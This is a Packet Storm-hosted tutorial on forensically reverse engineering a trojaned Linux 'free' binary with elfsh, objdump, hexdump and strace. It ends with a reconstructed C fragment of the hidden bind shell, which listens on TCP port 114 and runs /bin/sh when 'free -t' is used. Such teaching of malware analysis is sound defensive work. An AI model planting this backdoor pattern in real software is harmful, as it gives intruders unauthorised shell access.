exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

reverse_backdoored_binaries.txt

reverse_backdoored_binaries.txt
Posted Apr 19, 2004
Authored by Chris | Site cr-secure.net

Well written whitepaper about reverse engineering backdoored binaries. It is meant for the beginner reverse engineer with some knowledge of ELF, C, x86 ASM, and Linux.

tags | x86
systems | linux
SHA-256 | b31fe0048b71bab934815417a3d57f26b2f50823b7d9600434d47c9c533ed212

reverse_backdoored_binaries.txt

Change Mirror Download
Reverse Engineering Backdoored Binaries
By: borg (ChrisR-)
www.cr-secure.net

1. Introduction
a. Our backdoored binary
b. ELF basics

2. Searching the sections
a. dynstr
b. REL

3. Follow the objdump
a. Following jmp's
b. Piecing together functions

4. Code Reconstruction

---[1. Introduction

This paper is on reverse engineering backdoored binaries on an
x86 Linux Operating System. It is meant for the beginner reverse
engineer with some knowledge of ELF, C, x86 ASM, and Linux. We
will begin by explaining the basics of our binary from what we can
determine by disassembling and then we will recreate the source
code for the evil part of our backdoored binary. You will need a
few basic tools for this, objdump, elfsh, hexdump, a text editor,
. . . and your brain.

Our binary is a backdoored version of 'free'. Below is a brief
description of the free application,

borg:/# whatis free
free (1) - Display amount of free and used memory in the system
borg:/#

Our binary has been backdoored, which we are sure of because the
SHA-1 sum calculated yesterday does not match the current SHA-1
sum. Therefore, we have already detected the intruder and now want
to perform a forensic analysis on the binary. At this point we have
no idea what malicious code may be present in the application.

Let us begin by using elfsh, which is a shell environment for toying
with ELF binaries You can get a copy here http://elfsh.segfault.net/
from the folks at segfault.

###############################
[ELFsh-0.51b3]$ load free


[*] New object free loaded on Tue Mar 30 15:13:23 2004


[ELFsh-0.51b3]$
###############################

Our 'free' binary is now loaded into elfsh. We will skip over printing
our 'Program Header Table' because it’s not that important within
the scope of this paper. The first thing we want to do is print our
'Section Header Table' so we know what sections are present and then
we can assess where to go from there. Various text has been stripped
to save space.

###############################
[ELFsh-0.51b3]$ sht

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object free]

[000] (nil) ------- ... => NULL section
[001] 0x80480f4 a------ .interp ... => Program data
[002] 0x8048108 a------ .note.ABI-tag ... => Notes
[003] 0x8048128 a------ .hash ... => Symbol hash table
[004] 0x80482ac a------ .dynsym ... => Dynamic linker symtab
[005] 0x804864c a------ .dynstr ... => String table
[006] 0x804881e a------ .gnu.version ... => type 6FFFFFFF
[007] 0x8048894 a------ .gnu.version_r ... => type 6FFFFFFE
[008] 0x80488d4 a------ .rel.dyn ... => Reloc. ent. w/o addends
[009] 0x80488fc a------ .rel.plt ... => Reloc. ent. w/o addends
[010] 0x8048a84 a-x---- .init ... => Program data
[011] 0x8048a9c a-x---- .plt ... => Program data
[012] 0x8048dc0 a-x---- .text ... => Program data
[013] 0x804ac10 a-x---- .fini ... => Program data
[014] 0x804ac40 a------ .rodata ... => Program data
[015] 0x804c000 aw----- .data ... => Program data
[016] 0x804c020 aw----- .eh_frame ... => Program data
[017] 0x804c024 aw----- .dynamic ... => Dynamic linking info
[018] 0x804c0ec aw----- .ctors ... => Program data
[019] 0x804c0fc aw----- .dtors ... => Program data
[020] 0x804c104 aw----- .jcr ... => Program data
[021] 0x804c108 aw----- .got ... => Program data
[022] 0x804c1e0 aw----- .bss ... => BSS
[023] (nil) ------- .comment ... => Program data
[024] (nil) ------- .debug_aranges ... => Program data
[025] (nil) ------- .debug_pubnames ... => Program data
[026] (nil) ------- .debug_info ... => Program data
[027] (nil) ------- .debug_abbrev ... => Program data
[028] (nil) ------- .debug_line ... => Program data
[029] (nil) ------- .debug_frame ... => Program data
[030] (nil) ---ms-- .debug_str ... => Program data
[031] (nil) ------- .debug_macinfo ... => Program data
[032] (nil) ------- .debug_ranges ... => Program data
[033] (nil) ------- .shstrtab ... => String table
[034] (nil) ------- .symtab ... => Symbol table
[035] (nil) ------- .strtab ... => String table

[ELFsh-0.51b3]$
###############################

Our section header table is a map for the process image. These sections
contain all the information about the process image except the ELF
program header itself. The (nil) sections above contain no information
for the process. For example the .comment and .debug_info sections
contain no data. I won’t go over all of the sections in detail
because most are always present in any ELF binary and covered more
in detail in the appropriate documentation.

---[2. Searching the sections

There are a few parts to this ELF layout we want to focus on,
which are .dynstr(a section that contains our string tables)
and the relocation tables entries. Our strings entries will
greatly help us determine what evil deeds this binary is doing
during run time. String tables have an intricate layout that
is covered in extensive detail in ELF documentation. All we
need to focus on at this time is reading this section with our
chosen application and then parsing through the strings to find
interesting references. 'Strings' is a good application for pulling
ASCII printable strings from an object file. The trouble with
‘Strings’ is that it’s not just scanning our .dynstr section, which
may be viewed as a positive however that’s not what we are focusing
on at the moment. As we can see above in the elfsh output our
.dynstr section starts at address 0x804864c, the section following
address 0x804864c starts at 0x804881e, therefore let’s assume we have
to do our search within this space. Lets break open the old
HEX editor and objdump to read this section.

###############################
borg:/$ objdump -D free > fdis
###############################

We don't want that entire objdump output on our terminal, it would be
too much to scroll through, which is why we pipe it to 'fdis'. Open
the file fdis and search through it for '.dynstr'. It should bring you
to a section that appears to start off similar to below, only the
beginning text was pasted as not to consume too much space.

###############################
Disassembly of section .dynstr:

0804864c <.dynstr>:
804864c: 00 6c 69 62 add %ch,0x62(%ecx,%ebp,2)
8048650: 63 2e arpl %bp,(%esi)
8048652: 73 6f jae 80486c3 <_init-0x3c1>
8048654: 2e 36 00 73 74 add %dh,%cs:%ss:0x74(%ebx)
###############################

Now we have something to search for (00 6c 69 62) from our .dynstr
section. This should make our hex editor much easier to use. Let’s
use good old hexdump on our binary, 'hexdump -C free > free_hex'.
Once again we pipe the output to a file as to not overload our terminal.
Now use an editor to find the correct spot in the file[,] by
searching for '6c 69 62'. Because it’s a hex editor we have to search
two or three times before hitting the correct section, multiple
entries of our search term may be found. It should look similar to
this:

6c 69 62 |....0........lib|
00000650 63 2e 73 6f 2e 36 00 73 74 72 63 70 79 00 73 79 |c.so.6.strcpy.sy|
00000660 73 63 6f 6e 66 00 5f 5f 73 74 72 74 6f 64 5f 69 |sconf.__strtod_i|
00000670 6e 74 65 72 6e 61 6c 00 73 74 64 6f 75 74 00 5f |nternal.stdout._|
00000680 5f 73 74 72 74 6f 6c 5f 69 6e 74 65 72 6e 61 6c |_strtol_internal|
00000690 00 62 73 65 61 72 63 68 00 75 73 6c 65 65 70 00 |.bsearch.usleep.|
000006a0 67 65 74 70 69 64 00 66 67 65 74 73 00 65 78 65 |getpid.fgets.exe|
000006b0 63 6c 00 70 65 72 72 6f 72 00 70 75 74 73 00 64 |cl.perror.puts.d|
000006c0 75 70 32 00 67 65 74 75 69 64 00 6f 70 74 61 72 |up2.getuid.optar|
000006d0 67 00 73 6f 63 6b 65 74 00 72 65 61 64 64 69 72 |g.socket.readdir|
000006e0 00 5f 5f 73 74 72 74 6f 75 6c 5f 69 6e 74 65 72 |.__strtoul_inter|
000006f0 6e 61 6c 00 66 66 6c 75 73 68 00 6c 73 65 65 6b |nal.fflush.lseek|
00000700 00 75 6e 61 6d 65 00 61 63 63 65 70 74 00 66 70 |.uname.accept.fp|
00000710 72 69 6e 74 66 00 62 69 6e 64 00 73 74 72 73 74 |rintf.bind.strst|
00000720 72 00 73 69 67 6e 61 6c 00 72 65 61 64 00 73 65 |r.signal.read.se|
00000730 74 70 67 72 70 00 72 65 61 6c 6c 6f 63 00 6c 69 |tpgrp.realloc.li|
00000740 73 74 65 6e 00 66 6f 72 6b 00 73 73 63 61 6e 66 |sten.fork.sscanf|
00000750 00 67 65 74 6f 70 74 00 6f 70 65 6e 64 69 72 00 |.getopt.opendir.|
00000760 73 74 72 63 6d 70 00 73 70 72 69 6e 74 66 00 66 |strcmp.sprintf.f|
00000770 63 6c 6f 73 65 00 73 65 74 6c 6f 63 61 6c 65 00 |close.setlocale.|
00000780 73 74 64 65 72 72 00 66 70 75 74 63 00 5f 5f 63 |stderr.fputc.__c|
00000790 74 79 70 65 5f 62 5f 6c 6f 63 00 66 77 72 69 74 |type_b_loc.fwrit|
000007a0 65 00 66 6f 70 65 6e 00 5f 49 4f 5f 73 74 64 69 |e.fopen._IO_stdi|
000007b0 6e 5f 75 73 65 64 00 5f 65 78 69 74 00 5f 5f 6c |n_used._exit.__l|
000007c0 69 62 63 5f 73 74 61 72 74 5f 6d 61 69 6e 00 73 |ibc_start_main.s|
000007d0 74 72 6c 65 6e 00 73 74 72 63 68 72 00 63 6c 6f |trlen.strchr.clo|
000007e0 73 65 64 69 72 00 5f 5f 65 6e 76 69 72 6f 6e 00 |sedir.__environ.|
000007f0 5f 5f 67 6d 6f 6e 5f 73 74 61 72 74 5f 5f 00 47 |__gmon_start__.G|
00000800 4c 49 42 43 5f 32 2e 33 00 47 4c 49 42 43 5f 32 |LIBC_2.3.GLIBC_2|
00000810 2e 31 00 47 4c 49 42 43 5f 32 2e 30 00 00 00 00 |.1.GLIBC_2.0

Above are easily readable ASCII strings that may or may not stick out.
Let’s take ‘bind’ into consideration. Why is our 'free' memory reporting
the application making a bind call? Could this be an evil backdoor that
is binding a shell? Below is a list of ASCII strings that the clever
reader should have picked out from the .dynstr section above:

getuid
listen
fork
socket
accept
bind
fork

When we compare a 'strings' output to a known clean binary of free we
don’t see these at all.

###############################
borg:/usr/bin$ strings free | grep accept
borg:/usr/bin$ strings free | grep bind
borg:/usr/bin$ strings free | grep getuid
borg:/usr/bin$ strings free | grep socket
borg:/usr/bin$
###############################

The above .dynstr section is not a complete roundup of all
readable ASCII strings found in this binary, which is easily
proven by running the application 'strings' on our backdoored
binary. Now we have to ask ourselves, why is our free
application making these types of calls? All we can do at this
point is speculate and saythese calls are usually seen when
trying to open a network
socket or binding a shell to a 'secret' option. Let’s dig
a bit deeper into this binary.

Now we’ll focus on our relocation tables entries to see
if we can pick up on any other malicious behavior that
stands out. Using the 'rel' command in our elfsh with our
free binary loaded will produce the following:

###############################
[ELFsh-0.51b3]$ rel

[RELOCATION TABLES]
[Object free]

{Section .rel.dyn}
[000] R_386_GLOB_DAT 0x804c1d8 sym[056] : __gmon_start__
[001] R_386_COPY 0x804c1e0 sym[032] : __environ
[002] R_386_COPY 0x804c1e4 sym[019] : stdout
[003] R_386_COPY 0x804c1e8 sym[020] : stderr
[004] R_386_COPY 0x804c1ec sym[047] : optarg

{Section .rel.plt}
[000] R_386_JMP_SLOT 0x804c114 sym[001] : usleep
[001] R_386_JMP_SLOT 0x804c118 sym[002] : __strtod_internal
[002] R_386_JMP_SLOT 0x804c11c sym[003] : execl
[003] R_386_JMP_SLOT 0x804c120 sym[004] : strchr
[004] R_386_JMP_SLOT 0x804c124 sym[005] : setpgrp
[005] R_386_JMP_SLOT 0x804c128 sym[006] : getpid
[006] R_386_JMP_SLOT 0x804c12c sym[007] : strcmp
[007] R_386_JMP_SLOT 0x804c130 sym[008] : close
[008] R_386_JMP_SLOT 0x804c134 sym[009] : perror
[009] R_386_JMP_SLOT 0x804c138 sym[010] : fprintf
[010] R_386_JMP_SLOT 0x804c13c sym[011] : fork
[011] R_386_JMP_SLOT 0x804c140 sym[012] : signal
[012] R_386_JMP_SLOT 0x804c144 sym[013] : fflush
[013] R_386_JMP_SLOT 0x804c148 sym[014] : setlocale
[014] R_386_JMP_SLOT 0x804c14c sym[016] : accept
[015] R_386_JMP_SLOT 0x804c150 sym[017] : puts
[016] R_386_JMP_SLOT 0x804c154 sym[018] : listen
[017] R_386_JMP_SLOT 0x804c158 sym[021] : sysconf
[018] R_386_JMP_SLOT 0x804c15c sym[022] : getopt
[019] R_386_JMP_SLOT 0x804c160 sym[023] : fgets
[020] R_386_JMP_SLOT 0x804c164 sym[024] : strstr
[021] R_386_JMP_SLOT 0x804c168 sym[025] : strlen
[022] R_386_JMP_SLOT 0x804c16c sym[026] : uname
[023] R_386_JMP_SLOT 0x804c170 sym[027] : __strtol_internal
[024] R_386_JMP_SLOT 0x804c174 sym[028] : fputc
[025] R_386_JMP_SLOT 0x804c178 sym[029] : __libc_start_main
[026] R_386_JMP_SLOT 0x804c17c sym[030] : dup2
[027] R_386_JMP_SLOT 0x804c180 sym[031] : realloc
[028] R_386_JMP_SLOT 0x804c184 sym[033] : printf
[029] R_386_JMP_SLOT 0x804c188 sym[034] : bind
[030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid
[031] R_386_JMP_SLOT 0x804c190 sym[036] : lseek
[032] R_386_JMP_SLOT 0x804c194 sym[038] : fclose
[033] R_386_JMP_SLOT 0x804c198 sym[039] : closedir
[034] R_386_JMP_SLOT 0x804c19c sym[040] : opendir
[035] R_386_JMP_SLOT 0x804c1a0 sym[041] : open
[036] R_386_JMP_SLOT 0x804c1a4 sym[042] : exit
[037] R_386_JMP_SLOT 0x804c1a8 sym[043] : sscanf
[038] R_386_JMP_SLOT 0x804c1ac sym[044] : _exit
[039] R_386_JMP_SLOT 0x804c1b0 sym[045] : fopen
[040] R_386_JMP_SLOT 0x804c1b4 sym[046] : __strtoul_internal
[041] R_386_JMP_SLOT 0x804c1b8 sym[049] : sprintf
[042] R_386_JMP_SLOT 0x804c1bc sym[050] : fwrite
[043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket
[044] R_386_JMP_SLOT 0x804c1c4 sym[052] : readdir
[045] R_386_JMP_SLOT 0x804c1c8 sym[053] : __ctype_b_loc
[046] R_386_JMP_SLOT 0x804c1cc sym[054] : bsearch
[047] R_386_JMP_SLOT 0x804c1d0 sym[055] : read
[048] R_386_JMP_SLOT 0x804c1d4 sym[057] : strcpy

[ELFsh-0.51b3]$
###############################

An executable image has to provide information on how to modify
its sections. The calls above such as execl, getpid, fork, and
so on, are obviously calling outside of the program because
'_386_JMP_SLOT' implies this binary was not statically linked at
compile time. So the program has to modify one or more of its
program data sections in order to incorporate these outside calls.
We can easily pick out our suspicious calls this binary is making
during run time but unfortunately we are not sure when during run
time they are being called yet, just that they are.

###############################
[002] R_386_JMP_SLOT 0x804c11c sym[003] : execl
[010] R_386_JMP_SLOT 0x804c13c sym[011] : fork
[014] R_386_JMP_SLOT 0x804c14c sym[016] : accept
[016] R_386_JMP_SLOT 0x804c154 sym[018] : listen
[029] R_386_JMP_SLOT 0x804c188 sym[034] : bind
[030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid
[043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket
###############################

---[3. Following the objdump

Above we saw the suspicious entries we saw before in our strings table.
Why exactly is our binary making these calls? We’ll follow these
addresses to find out. Now let’s assume this is a backdoor
socket that is possibly binding a shell. A sharp reader would have
noticed these are for the most part already in logical order from the
bottom up. The getuid call is a bit out of place, but we’ll take
it for granted because we dont know what the original code looked like
yet and continue on. Our socket call is located at 0x804c1c0,
therefore if we parse through our objdump output we find this:

###############################
SOCKET

8048d5c: ff 25 c0 c1 04 08 jmp *0x804c1c0
8048d62: 68 58 01 00 00 push $0x158
8048d67: e9 30 fd ff ff jmp 8048a9c <_init+0x18>
###############################

The address where our external socket address of 0x804c1c0 gets called
from is '8048d5c'. We know our socket call is located at 0x804c1c0,
but this is located outside of our binary, so we must backtrack a tad
to find out where our program sets up this code. Because we see
where the program is jumping from, address 8048d5c, we will
search our dump again to see where it is called from. By doing this
we come up with what is below:

###############################
8048eb7: e8 a0 fe ff ff call 8048d5c <_init+0x2d8>
8048ebc: 89 43 dc mov %eax,0xffffffdc(%ebx)
8048ebf: 83 c4 10 add $0x10,%esp
8048ec2: 40 inc %eax
8048ec3: 0f 84 42 01 00 00 je 804900b <gogogo.0+0x18b>
8048ec9: c7 43 f0 00 00 00 00 movl $0x0,0xfffffff0(%ebx)
8048ed0: c7 43 f8 00 00 00 00 movl $0x0,0xfffffff8(%ebx)
8048ed7: c7 43 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebx)
8048ede: 66 c7 43 f0 02 00 movw $0x2,0xfffffff0(%ebx)
8048ee4: c7 43 f4 00 00 00 00 movl $0x0,0xfffffff4(%ebx)
8048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx)
8048ef1: 50 push %eax
8048ef2: 6a 10 push $0x10
8048ef4: 8d 43 f0 lea 0xfffffff0(%ebx),%eax
8048ef7: 50 push %eax
8048ef8: 89 45 ec mov %eax,0xffffffec(%ebp)
8048efb: 8b 43 dc mov 0xffffffdc(%ebx),%eax
8048efe: 50 push %eax
###############################

Could this be the beginning of a function named 'gogogo' that
sets up our socket?

8048ec3: 0f 84 42 01 00 00 je 804900b <gogogo.0+0x18b>

Could this be a socket preparing to bind to port 114?
(114 in HEX is 72)

048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx)

Now we know a socket call has been implemented, therefore we should
follow our getuid, bind, listen, accept, and execl calls in the same
fashion.

###############################
GETUID

8048c8c: ff 25 8c c1 04 08 jmp *0x804c18c
8048c92: 68 f0 00 00 00 push $0xf0
8048c97: e9 00 fe ff ff jmp 8048a9c <_init+0x18>
.....
.....
8048e8e: e8 f9 fd ff ff call 8048c8c <_init+0x208>
8048e93: 85 c0 test %eax,%eax
8048e95: ba 01 00 00 00 mov $0x1,%edx
8048e9a: 74 14 je 8048eb0 <gogogo.0+0x30>
8048e9c: 8d 65 f4 lea 0xfffffff4(%ebp),%esp
8048e9f: 5b pop %ebx
8048ea0: 5e pop %esi
8048ea1: 5f pop %edi
8048ea2: 89 d0 mov %edx,%eax
8048ea4: 5d pop %ebp
8048ea5: c3 ret
8048ea6: 8d 76 00 lea 0x0(%esi),%esi
8048ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi
8048eb0: 50 push %eax
8048eb1: 6a 06 push $0x6
8048eb3: 6a 01 push $0x1
8048eb5: 6a 02 push $0x2
###############################

###############################
BIND

8048c7c: ff 25 88 c1 04 08 jmp *0x804c188
8048c82: 68 e8 00 00 00 push $0xe8
8048c87: e9 10 fe ff ff jmp 8048a9c <_init+0x18>
.....
.....
8048eff: e8 78 fd ff ff call 8048c7c <_init+0x1f8>
8048f04: 83 c4 10 add $0x10,%esp
8048f07: 85 c0 test %eax,%eax
8048f09: 89 43 d8 mov %eax,0xffffffd8(%ebx)
8048f0c: ba 01 00 00 00 mov $0x1,%edx
8048f11: 75 89 jne 8048e9c <gogogo.0+0x1c>
###############################

###############################
LISTEN

8048bac: ff 25 54 c1 04 08 jmp *0x804c154
8048bb2: 68 80 00 00 00 push $0x80
8048bb7: e9 e0 fe ff ff jmp 8048a9c <_init+0x18>
.....
8048f51: e8 56 fc ff ff call 8048bac <_init+0x128>
8048f56: 83 c4 10 add $0x10,%esp
8048f59: 85 c0 test %eax,%eax
8048f5b: 89 43 d8 mov %eax,0xffffffd8(%ebx)
8048f5e: ba 01 00 00 00 mov $0x1,%edx
8048f63: 0f 85 33 ff ff ff jne 8048e9c <gogogo.0+0x1c>
8048f69: 8d 7b d4 lea 0xffffffd4(%ebx),%edi
8048f6c: 8d 73 e0 lea 0xffffffe0(%ebx),%esi
8048f6f: c7 43 d4 10 00 00 00 movl $0x10,0xffffffd4(%ebx)
8048f76: 51 push %ecx
8048f77: 57 push %edi
8048f78: 56 push %esi
8048f79: 8b 53 dc mov 0xffffffdc(%ebx),%edx
8048f7c: 52 push %edx
8048f7d: 89 75 e8 mov %esi,0xffffffe8(%ebp)
###############################

###############################
ACCEPT

8048b8c: ff 25 4c c1 04 08 jmp *0x804c14c
8048b92: 68 70 00 00 00 push $0x70
8048b97: e9 00 ff ff ff jmp 8048a9c <_init+0x18>
.....
8048f80: e8 07 fc ff ff call 8048b8c <_init+0x108>
8048f85: 83 c4 10 add $0x10,%esp
8048f88: 85 c0 test %eax,%eax
8048f8a: 89 43 d0 mov %eax,0xffffffd0(%ebx)
8048f8d: 78 72 js 8049001 <gogogo.0+0x181>
###############################

###############################
FORK

8048b4c: ff 25 3c c1 04 08 jmp *0x804c13c
8048b52: 68 50 00 00 00 push $0x50
8048b57: e9 40 ff ff ff jmp 8048a9c <_init+0x18>
.....
.....
8048f13: e8 34 fc ff ff call 8048b4c <_init+0xc8>
8048f18: 85 c0 test %eax,%eax
8048f1a: ba 01 00 00 00 mov $0x1,%edx
8048f1f: 0f 85 77 ff ff ff jne 8048e9c <gogogo.0+0x1c>
###############################

###############################
EXECL

8048acc: ff 25 1c c1 04 08 jmp *0x804c11c
8048ad2: 68 10 00 00 00 push $0x10
8048ad7: e9 c0 ff ff ff jmp 8048a9c <_init+0x18>
.....
8048feb: e8 dc fa ff ff call 8048acc <_init+0x48>
8048ff0: 5e pop %esi
8048ff1: 8b 5b d0 mov 0xffffffd0(%ebx),%ebx
8048ff4: 53 push %ebx
###############################

Could this be /bin/sh?
8048ff1: 8b 5b d0 mov 0xffffffd0(%ebx),%ebx


---[4. Code Reconstruction

At this point we’ve discovered a common link between our socket,
getuid, bind, listen, accept, fork, and execl calls, which is
that they all belong to a function most likely labeled 'gogogo'.
From what we have seen it’s probably a binded shell on TCP port
114, and it only opens if your root (hence the getuid
and low port number).

###############################
#define port 114
...
int gogogo() {

local.sin_family=AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr=INADDR_ANY;
memset(&(local.sin_zero), 0, sizeof(local.sin_zero));

if((insock=socket(AF_INET,SOCK_STREAM,0))<0)
return 0;

if((bind(insock,(struct sockaddr *)&local,sizeof(local))<0))
return0;

if((listen(insock, 1))<0)
return 0;

if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);

sock1=sizeof(struct sockaddr_in);
if ((outsock = accept(insock, (struct sockaddr *)&away,
&sock1)) == -1) {
execl ("/bin/sh","/bin/sh");
...
###############################

The above is just a sample of what the original socket code
MIGHT have looked like (the syntax may be incorrect).
Upon further review of the binary it is evident there may
have possibly been a close(), however it was not
necessarily important to our forensic work at the time.

This still leaves some unanswered questions such as: what
is calling this backdoor and how do we trigger it.
Further analysis on the binary can answer these questions.
If we search our objdump output for 'gogogo', after several
hits we stumble upon this:

804916d: e8 0e fd ff ff call 8048e80 <gogogo.0>

This appears to be in the 'main' function, exactly where we
should have expected it to be. But we need to know what in
the main function calls 'gogogo', therefore let’s
take a look at the section of objdump output around 'gogogo'
in main,

8049165: e9 f0 fe ff ff jmp 804905a <main+0x3a>
804916a: 8d 4d e8 lea 0xffffffe8(%ebp),%ecx
804916d: e8 0e fd ff ff call 8048e80 <gogogo.0>
8049172: e8 f9 10 00 00 call 804a270 <meminfo>
8049177: 83 ec 0c sub $0xc,%esp

The <gogogo.0> call appears to be right next to the
<meminfo> call. Perhaps they are called at the same time?

###############################
borg:/# strace free -t
.................
open("/proc/meminfo", O_RDONLY) = 3
.................
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(114), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)
.................
borg:/#
###############################

And there you have it. Although the output above using the
strace command is extremely cropped you get the idea.
Our backdoored 'free' binary will open up a backdoor on
TCP port 114 with /bin/sh binded when the option 'free -t'
is used.

Now [lets] let’s use strings on our binary and grep for a shell.

###############################
borg:~/$ strings /HDB/sbb/free | grep /bin/sh
/bin/sh
borg:~/$
###############################

My apologies if I left anything out of this paper or did not
cover the details enough. Im currently planning a book on
Reverse Engineering and forensics in *NIX environments.
If you would like to contribute then by all means email me.

www.cr-secure.net
- borg

Hello:
TLharris, MattJF, think, shrike, george
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    0 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close